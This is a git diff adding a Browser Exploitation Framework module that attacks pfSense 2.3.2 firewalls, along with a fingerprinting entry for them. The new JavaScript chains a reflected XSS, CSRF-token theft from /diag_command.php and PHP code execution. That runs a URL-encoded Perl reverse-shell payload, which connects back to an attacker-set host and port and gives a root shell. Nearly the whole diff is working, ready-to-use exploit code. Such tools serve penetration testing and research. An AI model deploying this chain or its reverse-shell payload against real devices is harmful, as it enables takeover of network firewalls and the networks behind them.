diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js
new file mode 100644
index 000000000..351cd057c
--- /dev/null
+++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js
@@ -0,0 +1,31 @@
+//
+// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+ var rhost = '<%= @rhost %>';
+ var rport = '<%= @rport %>';
+ var lhost = '<%= @lhost %>';
+ var lport = '<%= @lport %>';
+ var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/x.js";
+
+ var target = 'http://' + rhost + ':' + rport + '/status_captiveportal_expire.php?zone=">#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location);
+
+ // Add dynamicaly the tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer).
+ beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis).");
+ var meta = document.createElement('meta');
+ meta.name = "referrer";
+ meta.content = "no-referrer";
+ document.getElementsByTagName('head')[0].appendChild(meta);
+
+ // Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass)
+ // A full redirection is needed because pfSense disallow framing via X-frame-origin header...
+ // The current URL of the hooked page is sent via the payload to redirect back after few second
+ beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).");
+ document.location = target;
+
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
+});
+
diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml
new file mode 100644
index 000000000..9ad39425c
--- /dev/null
+++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml
@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+ module:
+ pfsense_2_3_2_reverse_root_shell_csrf:
+ enable: true
+ category: ["Exploits", "pfSense"]
+ name: "pfSense <= 2.3.2 Reverse Root Shell CSRF"
+ description: "Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.
Vulnerablity found and PoC provided by Yann CAM @ASafety / Synetis (demo video).
Patched in version 2.3.33."
+ authors: ["ycam"]
+ target:
+ working: ["FF"]
diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb
new file mode 100644
index 000000000..61490409e
--- /dev/null
+++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb
@@ -0,0 +1,28 @@
+#
+# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command
+
+ def pre_send
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')
+ end
+
+ def self.options
+ configuration = BeEF::Core::Configuration.instance
+ lhost = "#{configuration.get("beef.http.host")}"
+ lhost = "" if lhost == "0.0.0.0"
+ return [
+ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254'},
+ { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
+ { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost},
+ { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444'}
+ ]
+ end
+
+ def post_execute
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
+ save({'result' => @datastore['result']})
+ end
+end
diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js
new file mode 100644
index 000000000..2bc450651
--- /dev/null
+++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js
@@ -0,0 +1,71 @@
+// Function Ajax without JQuery library
+function ajax(url, method, data, async){
+ method = typeof method !== 'undefined' ? method : 'GET';
+ async = typeof async !== 'undefined' ? async : false;
+ if(window.XMLHttpRequest)
+ var xhReq = new XMLHttpRequest();
+ else
+ var xhReq = new ActiveXObject("Microsoft.XMLHTTP");
+
+ if(method == 'POST'){
+ xhReq.open(method, url, async);
+ xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+ xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+ xhReq.send(data);
+ } else {
+ if(typeof data !== 'undefined' && data !== null)
+ url = url+'?'+data;
+ xhReq.open(method, url, async);
+ xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+ xhReq.send(null);
+ }
+ var serverResponse = xhReq.responseText;
+ return serverResponse;
+}
+
+var hash = window.location.hash.substring(1);
+var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&"));
+var splitlhostlport = lhostlport.split(":");
+var lhost = splitlhostlport[0];
+var lport = splitlhostlport[1];
+var redir = hash.substring(hash.indexOf("redir=")+6, hash.length);
+
+var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B';
+
+// Function with AJAX request
+// This function requests in GET an internal WebGUI page, which contains the token.
+// Source code of this webpage is passed to the extractToken() function.
+function loadToken(){
+ var response = ajax('/diag_command.php');
+ extractToken(response);
+}
+
+// Function called after AJAX request in a defined page of the context, which contains the token value
+function extractToken(response){
+ // response var contains the source code of the page requested by AJAX
+ // Regex to catch the token value
+ var regex = new RegExp("",'gi');
+ var token = response.match(regex);
+ token = RegExp.$1;
+ // Pass the token to the final function which make the CSRF final attack
+ makeCSRF(token);
+}
+
+// Function with AJAX request
+// The token var is needed to perform the right CSRF attack with the context referer
+function makeCSRF(token){
+ // Final CSRF attack with right referer (because executed in the context)
+ // and with right token captured above
+ var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token);
+ // Finally, redirect back to the intial hooked page
+ document.location=decodeURIComponent(redir);
+}
+
+// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time
+if (trigger){
+} else {
+ var trigger = function(){
+ loadToken();
+ };
+ trigger();
+}
diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js
index 267b97f7b..0d3a4dd88 100644
--- a/modules/network/internal_network_fingerprinting/command.js
+++ b/modules/network/internal_network_fingerprinting/command.js
@@ -240,6 +240,10 @@ beef.execute(function() {
"pfSense",
"443","https",false,
"/themes/pfsense_ng/images/logo.gif",200,56),
+ new Array(
+ "pfSense CE <= 2.3.2",
+ "80","http",false,
+ "/logo.png",124,36),
new Array(
"Apache Tomcat",
"8080","http",true,